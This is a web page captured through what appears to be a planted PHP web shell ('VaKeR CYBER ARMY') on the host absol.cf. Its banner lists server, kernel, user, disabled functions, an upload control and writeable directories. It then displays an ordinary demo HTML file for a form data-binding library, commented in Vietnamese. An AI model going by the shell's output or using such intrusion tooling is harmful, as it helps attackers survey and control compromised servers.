VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-form/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-form/demo/data_binding.html
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF8"/>
    <title>Data Binding</title>
    <link rel="stylesheet" href="//cdn.materialdesignicons.com/4.5.95/css/materialdesignicons.min.css">
    <link rel="stylesheet" href="https://absol.cf/hightlight/styles/default.css">
    <script src="https://absol.cf/hightlight/highlight.pack.js"></script>
    <link
            href="https://fonts.googleapis.com/css?family=Alegreya|Alegreya+SC|Alegreya+Sans|Alegreya+Sans+SC|Alfa+Slab+One|Amatic+SC|Andika|Anton|Archivo|Archivo+Narrow|Arima+Madurai|Arimo|Arsenal|Asap|Asap+Condensed|Athiti|Bahianita|Bai+Jamjuree|Baloo|Baloo+Bhai|Baloo+Bhaijaan|Baloo+Bhaina|Baloo+Chettan|Baloo+Da|Baloo+Paaji|Baloo+Tamma|Baloo+Tammudu|Baloo+Thambi|Bangers|Barlow|Barlow+Condensed|Barlow+Semi+Condensed|Barriecito|Be+Vietnam|Bevan|Big+Shoulders+Display|Big+Shoulders+Text|Bungee|Bungee+Hairline|Bungee+Inline|Bungee+Outline|Bungee+Shade|Cabin|Cabin+Condensed|Chakra+Petch|Charm|Charmonman|Chonburi|Coiny|Comfortaa|Cormorant|Cormorant+Garamond|Cormorant+Infant|Cormorant+SC|Cormorant+Unicase|Cormorant+Upright|Cousine|Crimson+Pro|Cuprum|Dancing+Script|Darker+Grotesque|David+Libre|Dosis|EB+Garamond|Encode+Sans|Encode+Sans+Condensed|Encode+Sans+Expanded|Encode+Sans+Semi+Condensed|Encode+Sans+Semi+Expanded|Exo|Exo+2|Fahkwang|Farsan|Faustina|Fira+Sans|Fira+Sans+Condensed|Fira+Sans+Extra+Condensed|Francois+One|Grenze|Hepta+Slab|IBM+Plex+Mono|IBM+Plex+Sans|IBM+Plex+Sans+Condensed|IBM+Plex+Serif|Inconsolata|Itim|Josefin+Sans|Judson|Jura|K2D|Kanit|KoHo|Kodchasan|Krub|Lalezar|Lemonada|Lexend+Deca|Lexend+Exa|Lexend+Giga|Lexend+Mega|Lexend+Peta|Lexend+Tera|Lexend+Zetta|Literata|Livvic|Lobster|Lora|M+PLUS+1p|M+PLUS+Rounded+1c|Maitree|Major+Mono+Display|Mali|Manuale|Markazi+Text|Maven+Pro|Merriweather|Metrophobic|Mitr|Montserrat|Montserrat+Alternates|Muli|Niramit|Noticia+Text|Noto+Sans|Noto+Sans+SC|Noto+Serif|Noto+Serif+SC|Noto+Serif+TC|Nunito|Nunito+Sans|Old+Standard+TT|Open+Sans|Open+Sans+Condensed:300|Oswald|Pacifico|Pangolin|Patrick+Hand|Patrick+Hand+SC|Pattaya|Paytone+One|Philosopher|Play|Playfair+Display|Playfair+Display+SC|Podkova|Prata|Pridi|Prompt|Quicksand|Roboto|Roboto+Condensed|Roboto+Mono|Roboto+Slab|Rokkitt|Rosario|Saira|Saira+Condensed|Saira+Extra+Condensed|Saira+Semi+Condensed|Saira+Stencil+One|Sarabun|Sawarabi+Gothic|Sedgwick+Ave|Sedgwick+Ave+Display|Sigmar+One|Source+Code+Pro|Source+Sans+Pro|Space+Mono|Spectral|Spectral+SC|Sriracha|Srisakdi|Taviraj|Thasadith|Tinos|Trirong|VT323|Varela+Round|Vollkorn|Vollkorn+SC|Yanone+Kaffeesatz|Yeseva+One&display=swap"
            rel="stylesheet">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <script src="https://absol.cf/absol-full/absol/absol.dependents.js"></script>
    <script src="../absol/absol_form.js"></script>

    <style>
        html,
        body,
        :root {
            padding: 0;
            margin: 0;
            width: 100%;
            height: 100%;
            border: none;
        }

        #json-editor {
            height: 500px;
            display: block;
        }


    </style>
</head>

<body>
<div id="layout-ctn"></div>
<div id="json-editor"></div>
<script>
    !(function () {

        var AssemblerInstance = absol.form.AssemblerInstance;
        var $ = absol.$;
        var _ = absol._;
        var JSZip = absol.JSZip;
        var makeFmFragmentClass = absol.form.makeFmFragmentClass;

        function downloadFragmentData(path) {
            return fetch(path,  {cache: "no-store"})
                .then(function (res){
                    return res.text();
                }).then(function (out) {
                if (out[0] == '{') {// is json
                    try {
                        var data = JSON.parse(out);
                        return data;
                    } catch (error) {
                        console.error(error)
                    }
                }
                else {
                    return JSZip.loadAsync(out, { base64: true }).then(function (zip) {
                        return zip.file('data.txt')
                            .async('text')
                            .then(function (text) {
                                try {
                                    var data = JSON.parse(text);
                                    return data;
                                } catch (error) {
                                    console.error(error)
                                }
                            });
                    });
                }
            });
        }

        var editorElt = $('#json-editor');
        var editor = new JSONEditor(editorElt, {});
        editor.set({});

        var demoTableDataSync = fetch('https://absol.cf/libs/absol-sheet/demo_data.json', {cache:"no-store"})
        .then(function (res){ return res.json()});

        downloadFragmentData('https://absol.cf/formeditor/workspace/GetStarted/form/SignUp.form').then(function (data){
            console.log('JSON data', data);
            //tạo một class ứng với tag, và layout
            var SignUpFragment = makeFmFragmentClass({
                tag:'SignUpFragment',//định danh, không được trùng với các class khác,
                contentViewData: data
            });

            //cài đặt class này vào form
            AssemblerInstance.addConstructor(SignUpFragment);
        })
        .then(function (){
            var mSignUpFrag = AssemblerInstance.build({class:'SignUpFragment'});
            $('#layout-ctn').addChild(mSignUpFrag.domElt);
            //vì đây là lớp ngoài cùng, nên có thể sửa style của domElt cho phù hợp
            mSignUpFrag.domElt.addStyle({
                width: '100%',
                height:'800px',
                display: 'block'
            });

            var signUpBtn = absol.form.findComponent(mSignUpFrag.view, {
                name: 'sign_up_btn',
                depth: false//không tìm trong fragment con
            });
            signUpBtn.domElt.on('click', function (){
               alert("SignUp");
            });

            var studentTable =  absol.form.findComponent(mSignUpFrag.view, {
                name: 'my_table',
                depth: false//không tìm trong fragment con
            });
            var studentTableEditor = studentTable.editor;
            studentTableEditor.on('cmd_insert_row', function (event) {
                //cần gọi resolve 1 promise chứa dữ liệu trả về(trường hợp hiện ra cửa sổ, bất động bộ)
                // hoặc trực tiếp kết quả
                event.resolve(new Promise(function (resolve) {
                    setTimeout(function () {
                        resolve({
                            sid: 123355 * Math.random() >> 0, name: "Dòng mới", class: "NEW_CLASS",
                            position: Math.random() * 2 >> 0, desc: "Đây là dòng mơi", off: false
                        });
                        // hoặc nếu hủy thì gọi resolve null
                    }, 1000);
                }));
            });

            studentTableEditor.on('cmd_remove_row', function (event) {
                event.accept(new Promise(function (resolve) {
                    if (confirm("Bạn có thực sự muốn xóa không")) {
                        // Save it!
                        resolve(true);
                    } else {
                        // Do nothing!
                        resolve(false);
                    }
                }));
            });



            //cách gán giá trị
            mSignUpFrag.props.TextInput_3 = "Phạm Quốc Cường";
            //nó tự bỏ qua không gán vào các trường không có, vì đây là 1 setter
            mSignUpFrag.props = {TextInput_4:'cuong95@gmail.com'};
            mSignUpFrag.props.TextInput_5 = '090557883922';
            demoTableDataSync.then(function (jsonData){
                // console.log(jsonData);
                mSignUpFrag.props.my_table = jsonData;
                var editData = JSON.parse(JSON.stringify(mSignUpFrag.props));
                editor.set(editData);
            });
            //thử edit bằng editor

            editor.options.onChange = function (){
                mSignUpFrag.props = editor.get();
            }
        });

    })();
</script>
</body>

</html>

VaKeR 2022